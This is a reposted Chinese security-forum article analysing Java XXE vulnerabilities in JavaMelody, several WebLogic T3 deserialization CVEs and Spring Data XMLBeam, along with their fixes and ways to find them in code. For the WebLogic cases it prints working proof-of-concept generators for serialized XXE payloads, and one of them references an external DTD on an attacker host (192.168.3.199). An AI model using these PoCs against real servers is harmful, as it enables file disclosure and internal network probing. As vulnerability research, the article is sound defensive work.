安全矩阵

 找回密码
 立即注册
搜索
查看: 5068|回复: 0

Java XXE漏洞典型场景浅析

[复制链接]

991

主题

1063

帖子

4319

积分

论坛元老

Rank: 8Rank: 8

积分
4319
发表于 2020-4-5 15:14:18 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-4-5 15:15 编辑

原文链接:Java XXE漏洞典型场景浅析


0x01 前言
XML 的解析过程中若存在外部实体,若不添加安全的XML解析配置,则XML文档将包含来自外部 URI 的数据,这一行为将导致XML External Entity (XXE) 攻击,从而用于拒绝服务攻击,任意文件读取,内网扫描。以前对xxe的认识多停留在php中,从代码层面而言,其形成原因及防护措施较为单一,而java中依赖于其丰富的库,导致解析xml数据的方式有多种,其防御手段也有着种种联系,本文主要从几个cve的分析,了解java中xxe的常用xml解析库、xxe的形成原因、如何挖掘java中的xxe以及java中xxe的防护手段。


0x02 XEE相关分析

1. JavaMelody组件XXE
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。默认情况下只要添加pom依赖中,其将随web服务一起启动,所以不需要什么权限即可访问此路由,若路径泄露如下图所示本来就会泄露一些敏感信息:



1.1 漏洞点分析在monitor的filter匹配之后将会对请求的http请求内容做处理获取请求类型,在net/bull/javamelody/PayloadNameRequestWrapper中在处理当content-type为以下两种情况:
  1. contentType.startsWith("application/soap+xml")
  2. contentType.startsWith("text/xml") || requests.getheader("SOAPAction")
复制代码
部分函数调用栈如下图所示:



在content type满足xml数据请求规则后调用parseSoapMethodName来对http请求内容做解析,这个函数就是漏洞所在处



这里使用xmlInputFactor工厂类,该类与DocmentBuilderFactory一样都可以设置一些feature来规范化xml处理过程,那么问题就是默认情况下dtd解析和外部实体都是可以使用的,如下两条配置即为导致xxe的默认配置
  1. <tr><td>javax.xml.stream.isSupportingExternalEntities</td><td>Resolve external parsed entities</td><td>Boolean</td><td>Unspecified</td><td>Yes</td></tr>
  2. <tr><td>javax.xml.stream.supportDTD</td><td>Use this property to request processors that do not support DTDs</td><td>Boolean</td><td>True</td><td>Yes</td></tr>
复制代码
在xmlInputFactor类的文件中就可以找到默认的一些feature,我们可以将feature理解为为了解析xml而提供的配置选项



pom依赖:
  1. <dependency>
  2. <groupId>net.bull.javamelody</groupId>
  3. <artifactId>javamelody-spring-boot-starter</artifactId>
  4. <version>1.73.1</version>
  5. </dependency>
复制代码


1.2 代码层面修复那么在该组件的新版本中对应的修复如下图所示,默认情况下在创建xml解析对象之前设置工厂的feature禁用掉dtd和外部实体,从而防御xxe


1.3 如何避免xxe在实际的开发中,对于xml数据解析流程不需要外部实体参与的情况,设置feature将其禁用。在确定组件版本对xml的解析已经禁用掉外部实体后,也要设计filter来对该功能的访问进行鉴权操作,防止敏感功能被越权访问。
2.Weblogic中的xxe
这节主要分析weblogic中的几个xxe,包括CVE-2019-2647-CVE2019-2650以及CVE2019-2888,那么这几个洞的原因都是weblogic依赖的jar包中涉及xml数据处理时默认情况下没有做好外部实体限制措施,导致可以通过T3协议进行序列化payload发送,从而利用外部实体进行xxe2.1 漏洞点分析第一处是Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmServerPayloadContext,从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示:


在WsrmServerPayloadContext的readEndpt方法中直接就能发现存在xml解析,其中使用DocumentBuilderFactory类作为解析工厂类,这里并没有添加任何feature限制外部实体的加载,所以只需要关心var14是否可控


那么在WsrmServerPayloadContext的readExternal方法调用了readEndpt方法,该方法将在反序列化时自动调用,与通常的readObject相类似,而readEndpt中的var14又来自此时的var1(payload 输入流),所以满足可控条件


那么从反序列化到xxe的入口点就是如此,接下来只需要构造满足条件的序列化数据流通过t3协议发送到weblogic的7001端口即可,找到该类的序列化时调用的函数然后跟踪其输出流就行


在writeExternal中判断this.fromEndpt不为null时,调用writeEndpt传入输出流,可以看到this.fromEndpt实际上是EndpointReference的实例,根据方法名以及入口参数盲猜要将该类的实例写进输出流


那么实际上该函数的功能也主要是通过XMLSerializer的serlialize处理EndpointReference的返回值(Element类的实例)后最终存储为字节数组,并在输出流中写入字节数组和其长度,那么XMLSerializer的serialize方法的实现了3种重载,分别可以传入Element,DocumentFragment,Document,那么实际上构造xml的payload时如果使用Element型的重载,那么实际上写入的序列化数据中包含的xml数据外部实体将被解析最终只留下节点元素,所以为了在payload中保留完整的xml的payload,需要使用Document型的重载,因此这里需要重写WsrmServerPayloadContext的writeEndpt方法即可,我们只需删除jar包中对应的class字节码文件重新打包引入,然后本地新建与其包名类名一致的该类即可,从而定制如我们目标相符合的序列化数据(接下来几个weblogic的xxe payload本地构造方法均与此一样)


构造结构如上图所示,我们知道DocumentBuilder的parse处理xml文件后将返回Document,因此我们只需要将处理结果再传入serialize函数即可达成目标


重写部分如下所示:
  1. private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException, ParserConfigurationException, SAXException {
  2.         ByteArrayOutputStream var3 = new ByteArrayOutputStream();
  3.         OutputFormat var4 = new OutputFormat("XML", (String)null, false);
  4.         XMLSerializer var5 = new XMLSerializer(var3, var4);
  5.         Document doc = null;
  6.         Element element = null;
  7.         DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
  8.         DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
  9.         doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
  10.         var5.serialize(doc);
复制代码
那么根据之前的分析只需赋值his.fromEndpt为EndpointReference的实例,然后我们自己在重写的writeEndpt方法中调用DocumentBuilder的parse解析xml的payload拿到document即可
poc如下:

  1. import weblogic.wsee.addressing.EndpointReference;
  2. import weblogic.wsee.reliability.WsrmServerPayloadContext;
  3. import java.io.FileOutputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectOutputStream;
  6. import java.lang.reflect.Field;
  7. public class weblogicxxe1 {
  8. public static void main(String[] args) throws IOException {
  9.         Object instance = getObject();
  10.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
  11.         out.writeObject(instance);
  12.         out.flush();
  13.         out.close();
  14.     }
  15. public static Object getObject() {
  16.         EndpointReference fromEndpt = (EndpointReference) new EndpointReference();
  17.         WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
  18. try {
  19.             Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
  20.             f1.setAccessible(true);
  21.             f1.set(wspc, fromEndpt);
  22.         } catch (Exception e) {
  23.             e.printStackTrace();
  24.         }
  25. return wspc;
  26.     }
  27. }
复制代码

生成的poc如下所示,序列化的数据包含完整的xml payload,然后使用t3协议直接打即可,由请求也可以看到的确在反序列化的过程中解析了xml并加载了外部实体




第二处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/message/UnknownMsgHeader类,该类的readExternal方法中直接存在没有任何防御措施的xml解析,使用的仍为DocumentBuilderFactory,从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示:


在UnknownMsgHeader的readExternal方法中xml解析时的parse方法入口参数var9主要来源于输入流Objectinput,可控,那么只需构造相应的序列化数据即可

找到其writeExternal方法,这里可以看到其写入xml payload时也使用的为XMLSerializer.serialize,这里写入的xmlheader也可以进行替换成xml解析后的Document类的实例,但是这里要用到this.qname属性,并向输出流写入该属性的三个值,由于这三个值均为字符串并且并未规定格式,因此我们只需任意赋值即可



修改其writeExternal方法如下:
  1. public void writeExternal(ObjectOutput var1) throws IOException{
  2.         var1.writeUTF("tr1ple");
  3.         var1.writeUTF("tr1ple");
  4.         var1.writeUTF("tr1ple");
  5.         ByteArrayOutputStream var2 = new ByteArrayOutputStream();
  6.         OutputFormat var3 = new OutputFormat("XML", (String)null, false);
  7.         XMLSerializer var4 = new XMLSerializer(var2, var3);
  8.         Document doc = null;
  9.         DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
  10.         DocumentBuilder dbBuilder = null;
  11.         try {
  12.             dbBuilder = dbFactory.newDocumentBuilder();
  13.             doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
  14.         } catch (ParserConfigurationException e) {
  15.             e.printStackTrace();
  16.         } catch (SAXException e) {
  17.             e.printStackTrace();
  18.         }
  19.         var4.serialize(doc);
复制代码
poc:
  1. import org.w3c.dom.Element;
  2. import weblogic.wsee.message.UnknownMsgHeader;
  3. import java.io.FileOutputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectOutputStream;
  6. import java.lang.reflect.Field;
  7. public class weblogicxxe2 {
  8.     public static void main(String[] args) throws IOException {
  9.         Object instance = getObject();
  10.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3"));
  11.         out.writeObject(instance);
  12.         out.flush();
  13.         out.close();
  14.     }
  15.     public static Object getObject() {
  16.         UnknownMsgHeader umh = new UnknownMsgHeader();
  17.         return umh;
  18.     }
  19. }
复制代码

生成序列化数据后用t3协议发送即可触发xxe第三处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmSequenceContext类,在其readEndpt方法中同样存在与前两个分析中相似的处理流程,使用DocumentBuilder来解析包含xml payload的输入流,从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示:


在其readExternal方法中调用了readEndpt方法,这里var2为我们构造的xml数据的长度,所以肯定大于零




那么只需要按照其writeEndpt规范的逻辑写就行,我们只需在调用serialize前控制其入口参数的值即可


更改后的writeExternal如下:
  1. private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException {
  2.         try {
  3.             DocumentBuilderFactory var3 = DocumentBuilderFactory.newInstance();
  4.             var3.setNamespaceAware(true);
  5.             DocumentBuilder var4 = var3.newDocumentBuilder();
  6.             Document var5 = var4.newDocument();
  7.             Element var6 = var5.createElementNS(this.rmVersion.getNamespaceUri(), weblogic.wsee.reliability.WsrmConstants.Element.ACKS_TO.getQualifiedName(this.rmVersion));
  8.             DOMUtils.addNamespaceDeclaration(var6, this.rmVersion.getPrefix(), this.rmVersion.getNamespaceUri());
  9.             var1.write(var6);
  10.             ByteArrayOutputStream var7 = new ByteArrayOutputStream();
  11.             OutputFormat var8 = new OutputFormat("XML", (String)null, false);
  12.             XMLSerializer var9 = new XMLSerializer(var7, var8);
  13.             Document doc = null;
  14.             DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
  15.             DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
  16.             doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
  17.             var9.serialize(doc);
复制代码
poc:
  1. import weblogic.wsee.addressing.EndpointReference;
  2. import weblogic.wsee.reliability.WsrmSequenceContext;
  3. import java.io.FileOutputStream;
  4. import java.io.IOException;
  5. import java.io.ObjectOutputStream;
  6. import java.lang.reflect.Field;
  7. public class weblogicxxe3 {
  8.     public static void main(String[] args) throws IOException {
  9.         Object instance = getObject();
  10.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe4"));
  11.         out.writeObject(instance);
  12.         out.flush();
  13.         out.close();
  14.     }

  15.     public static Object getObject() {
  16.         EndpointReference  end = new EndpointReference();
  17.         WsrmSequenceContext umh = new WsrmSequenceContext();

  18.         try {
  19.             Field f1 = umh.getClass().getDeclaredField("acksTo");
  20.             f1.setAccessible(true);
  21.             f1.set(umh, end);

  22.         } catch (Exception e) {
  23.             e.printStackTrace();
  24.         }
  25.          return umh;
  26.     }
  27. }
复制代码

第四处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/wstx/internal/ForeignRecoveryContext类,从weblogic输入流处理到反序列化入口的过程部分调用栈如下图所示:


在ForeignRecoveryContext的类文件定义中如果直接找并未发现xml的处理流程,该处的利用相较于前三处构造来说还是稍微精巧一点,需要了解一下代码的基本处理逻辑。网上也没找到相应的具体分析,只有xxlegend师傅的一些简单复现分析,先给出其poc

  1. import weblogic.wsee.wstx.internal.ForeignRecoveryContext;
  2. import weblogic.wsee.wstx.wsat.Transactional.Version;
  3. import javax.xml.ws.EndpointReference;
  4. import javax.transaction.xa.Xid;
  5. import javax.xml.transform.Result;
  6. import javax.xml.transform.stream.StreamResult;
  7. import java.io.*;
  8. import java.lang.reflect.Field;

  9. public class weblogicxxe4 {
  10. public static void main(String[] args) throws IOException {
  11.         Object instance = getObject();
  12.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe1"));
  13.         out.writeObject(instance);
  14.         out.flush();
  15.         out.close();
  16.     }

  17. public static class MyEndpointReference extends EndpointReference {

  18. @Override
  19. public  void writeTo(Result result){
  20. byte[] tmpbytes = new byte[4096];
  21. int nRead;
  22. try{
  23.                 InputStream is = new FileInputStream(System.getProperty("user.dir")+"/src/main/resources/text.xml");

  24. while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
  25.                     ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
  26.                 }
  27.             }catch (Exception e){
  28.                 e.printStackTrace();
  29.             }
  30. return;
  31.         }
  32.     }
  33. public static Object getObject() {
  34.         Xid xid = new weblogic.transaction.internal.XidImpl();
  35.         Version v = Version.DEFAULT;
  36.         ForeignRecoveryContext frc = new ForeignRecoveryContext();
  37. try{
  38.             Field f = frc.getClass().getDeclaredField("fxid");
  39.             f.setAccessible(true);
  40.             f.set(frc,xid);
  41.             Field f1 = frc.getClass().getDeclaredField("epr");
  42.             f1.setAccessible(true);
  43.             f1.set(frc, new MyEndpointReference());
  44.             Field f2 = frc.getClass().getDeclaredField("version");
  45.             f2.setAccessible(true);
  46.             f2.set(frc,v);
  47.         }catch(Exception e){
  48.             e.printStackTrace();
  49.         }
  50. return frc;
  51.     }
  52. }
复制代码

先看看其writeExternal方法,箭头所指之处就是构造payload的关键之处,this.epr是抽象类EndpointReference的对象,所以这里其定义的write函数肯定要被其子类实现,那么这里实际上是将结果写入到var2中,那么poc中只需要继承EndpointReference并读取我们的xml payload写入到var2中即可,之后将通过var1写入到序列化数据中



那么在其反序列化过程中调用readExternal将通过readFrom方法读取我们的xml payload,接下来就是一大段初始化的过程,直到加载javax.xml.ws.spi.Provider后调用其readEndpointReference来对xml数据流进行读取


从ForeignRecoveryContext的readExternal到漏洞触发点部分调用栈如下图所示:


接下来就到了xxe的触发点,这里解析xml的类也与之前分析的三个cve不同,这里的Unmarshaller 类将 XML 数据反序列化解析为java对象,然而这里并未添加任何防护措施,因此导致可以注入外部实体,从而产生xxe


第五处存在于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor类,在该类的load函数中存在使用DocumentBuilderFactory进行xml解析,然后该工厂类是weblogic实现的子类,其中根据本地的配置weblogic.xml.jaxp.allow.externalDTD的值来选择是否设置以下两条featue来限制外部实体的加载,然而默认情况下可以加载外部实体,因此这两条feature失效
  1. his.delegate.setAttribute("http://xml.org/sax/features/external-general-entities", allow_external_dtd);
  2. this.delegate.setAttribute("http://xml.org/sax/features/external-parameter-entities", allow_external_dtd);
复制代码
从weblogic输入流处理到反序列化入口的过程部分调用栈如下图所示:


在其load函数中只需控制var4即可,其为输入流可本地构造


那么只需要找到在何处调用了load方法即可,可以看到在其反序列化时调用的readExternal中将调用load方法,并且从数据流走向可以判断parse解析的入口参数是可控的



接下来只需要按照writeExternal的逻辑构造序列化数据即可,其调用toString来传入EJBTaglibDescriptor的实例


在tostring方法中又调用该实例的toxml来将程序原来想要输出的数据输出到xmlwriter中并最终返回一个xml字符串输出为序列化数据,其中xmlwriter的println方法是真正负责写入数据的,其写入的即为xml数据


那么我们选择直接控制写入xmlwriter的数据即可


重写toxml如下:
  1. public void toXML(XMLWriter var1) {
  2.         var1.println("<?xml version="1.0" encoding="utf-8"?>\n" +
  3.                 "<!DOCTYPE data SYSTEM "http://192.168.3.199:8989/1.dtd" [\n" +
  4.                 "        <!ELEMENT data (#PCDATA)>\n" +
  5.                 "        ]>\n" +
  6.                 "<data>data</data>");
  7.     }
  8. }
复制代码

然后本地覆盖原生EJBTaglibDescriptorc.class即可poc:
  1. import weblogic.servlet.ejb2jsp.dd.EJBTaglibDescriptor;
  2. import java.io.FileOutputStream;
  3. import java.io.IOException;
  4. import java.io.ObjectOutputStream;

  5. public class weblogicxxe5 {
  6. public static void main(String[] args) throws IOException {
  7.         Object instance = getObject();
  8.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3"));
  9.         out.writeObject(instance);
  10.         out.flush();
  11.         out.close();
  12.     }
  13. public static Object getObject() {
  14.         EJBTaglibDescriptor umh = new EJBTaglibDescriptor();
  15. return umh;
  16.     }
  17. }
复制代码

2.2 代码层面修复那么weblogic的这几个xxe都要多亏与T3协议的助攻,只需要在weblogic类加载路径中可以利用的类,只需要本地构造好payload,然后将序列化的数据以T3协议格式发送至其7001端口即可,那么weblogic在更新的补丁中,也针对这些类添加了相应的feature禁掉了外部实体,从而防止进行xxe攻击
  1. http://xml.org/sax/features/external-general-entities
  2. http://xml.org/sax/features/external-parameter-entities
  3. http://apache.org/xml/features/nonvalidating/load-external-dtd
复制代码
并且通过以下属性禁用掉了xinclude并关掉了外部实体引用
  1. setXIncludeAware(false)
  2. setExpandEntityReferences(false)
复制代码

2.3 如何避免xxe2.2中从代码层面上单个点添加代码,实际上这种方法只是单纯防御了这几个类,如果在后续的开发中加入新的jar包中存在类有未添加feature的xml解析操作,并且能够进行xml操作的类可以进行序列化,那么仍然面临着导致xxe的风险。T3协议是非常重要的WebLogic内部的通讯协议,若直接禁用T3协议则有可能影响到正常业务运行,那么可以在weblogic控制台的筛选器配置中设置连接筛选器规则进行白名单限制,选择weblogic.security.net.ConnectionFilterImpl,将允许的IP地址或网段设置为allow,然后将除此之外的所有IP地址或网段设置为deny。


3. Spring-data-XMLBeam XXE
3.1 漏洞点分析该洞主要xmlbeam这个库的问题,而spring-data-commons又使用了xmlbeam来处理客户端传输的xml文件,解析其内容然后服务端响应返回,那么在解析xml中默认允许加载外部实体,从而导致xxe,属于有回显xxe,部分调用栈如下图所示,其中由Streaminput的readDocument进入xml数据的解析


又是熟悉的DocumentBuilder,可以看到在创建解析工厂以及调用parse解析之间并未添加任何feature来限制外部实体


pom依赖:
  1. <dependency>
  2. <groupId>org.xmlbeam</groupId>
  3. <artifactId>xmlprojector</artifactId>
  4. <version>1.4.13</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>org.springframework.data</groupId>
  8. <artifactId>spring-data-commons</artifactId>
  9. <version>2.0.5.RELEASE</version>
  10. </dependency>
复制代码



3.2 代码层面修复


xmlbeam用的为DocumentBuilderFactory来创建dom工厂,修复的为xmlbeam的处理xml的处理文件,修复后主要为设置一些features,用于禁止外部实体的加载,另外还添加了禁止内联 DocTypeDtd的加载,feature通过dom工厂的setFeature函数进行设置



本质处理流程没问题,只是处理前需要做一些防护措施,对于不需要的功能直接禁用掉
3.3 如何避免xxe对于1.4.15版本之前未升级的xmlxbeam库,我们可自己在创建xml解析工厂类实例后为其设置feature禁用掉外部实体或者直接升级依赖版本到1.4.15以后。


0x03 JAVA中的XEE挖掘

java中解析xml的库众多,那么白盒中可以通过正则匹配导入相应xml解析库的类,再加以手工检测来判断是否存在,比如正则匹配以下常用库
  1. javax.xml.parsers.DocumentBuilderFactory;
  2. javax.xml.parsers.SAXParser
  3. javax.xml.transform.TransformerFactory
  4. javax.xml.validation.Validator
  5. javax.xml.validation.SchemaFactory
  6. javax.xml.transform.sax.SAXTransformerFactory
  7. javax.xml.transform.sax.SAXSource
  8. org.xml.sax.XMLReader
  9. org.xml.sax.helpers.XMLReaderFactory
  10. org.dom4j.io.SAXReader
  11. org.jdom.input.SAXBuilder
  12. org.jdom2.input.SAXBuilder
  13. javax.xml.bind.Unmarshaller
  14. javax.xml.xpath.XpathExpression
  15. javax.xml.stream.XMLStreamReader
  16. org.apache.commons.digester3.Digester
复制代码

afanti师傅在挖掘weblogic的xxe时即通过匹配可序列化以及利用xml相关解析的库然后手工检测,其项目地址为:https://github.com/Afant1/JavaSearchTools,那么根据工具要求首先要通过jd-jui将jar包中的字节码文件恢复为java文件




以默认格式保存后即可使用javasearchtools.jar进行源码扫描


如下图所示该工具内置的正则能够匹配出我们之前分析的几个存在xxe漏洞的文件,当然该工具可能存在误报,只是作为辅助来缩小我们搜索的范围,那么接下来只需手工去扫描出来的类中去逐个确定即可


那么该工具判断xxe核心就是如下图所示的两个布尔值


分别是两种正则匹配规则,xml匹配大量内置xml解析库,是否可反序列化去匹配反序列化中的关键字,同时满足这两个条件的类将被筛选




那么挖掘其他地方的xxe时也可以使用这种正则匹配的方法来辅助检测,比如对于上面分析JavaMelody和xbeam时并不需要类具有序列化的特性,因此灵活根据实际制定匹配规则即可在其他组件的jar包中寻找可能存在xxe的点

0x04 总结

经过上面的分析,我们能够了解java中xxe的形成原因以及哪些xml处理类默认情况下能够导致xxe,当然还有其它类本文中可能未曾提及,但道理都是相通的,本文中分析的JavaMelody、Weblogic以及xbeam核心问题还是在涉及xml数据解析时引入外部可控的xml数据,但自身并未考虑是否可能产生xxe漏洞,未做到禁用外部实体的防御措施。https://find-sec-bugs.github.io/这个网站上也列出了常见的xml处理库的标准防御方法,那么总的来说,基于xxe的防御主要为以下三种:

1.设置feature为XMLConstants.FEATURE_SECURE_PROCESSING为true这种方法实际上还是会加载外部实体但是会调用SecuritySupport.checkAccess中进行判断,判断中将外部实体的协议和允许的白名单协议进行匹配,因为XMLConstants.FEATURE_SECURE_PROCESSING将设置Property.ACCESS_EXTERNAL_DTD和Property.ACCESS_EXTERNAL_SCHEMA两个属性设置为空,而解析节点之前将根据这两个属性来设置fAccessExternalDTD为空,接着解析节点过程中如果加载外部实体为true,所以会进入checkaccess函数里面以fAccessExternalDTD作为白名单协议数组,而其值已经被置空,所以实际上所有协议被禁用,从而以此方式来达到防御xxe,比如效果如下所示



2.设置feature的http://apache.org/xml/features/disallow-doctype-decl为true从该feature的字面意思也能猜到设置该值为true实际上禁用了(dtd)文档定义类型,在解析xml文件的过程中解析Doctype时将判断fDisallowDoctype属性是否为true,若为true则直接报错,所以这么设置就彻底杜绝了xxe漏洞,这种方法完全杜绝了所有dtd的声明,包括内部实体


3.如果想使用内部实体,单纯禁用外部实体则设置以下两个值即可,则不会进行doctype的解析,从而不会报错,xml解析其他实体正常进行
  1. FEATURE = "http://xml.org/sax/features/external-parameter-entities";
  2. dbf.setFeature(FEATURE, false);
  3. FEATURE = "http://xml.org/sax/features/external-general-entities";
  4. dbf.setFeature(FEATURE, false);
复制代码

参考:https://find-sec-bugs.github.io/bugs.htm#XXE_DOCUMENThttps://xz.aliyun.com/t/7105#toc-3https://paper.seebug.org/906/ https://xz.aliyun.com/t/7272#toc-11



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-6-16 16:21 , Processed in 0.016613 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表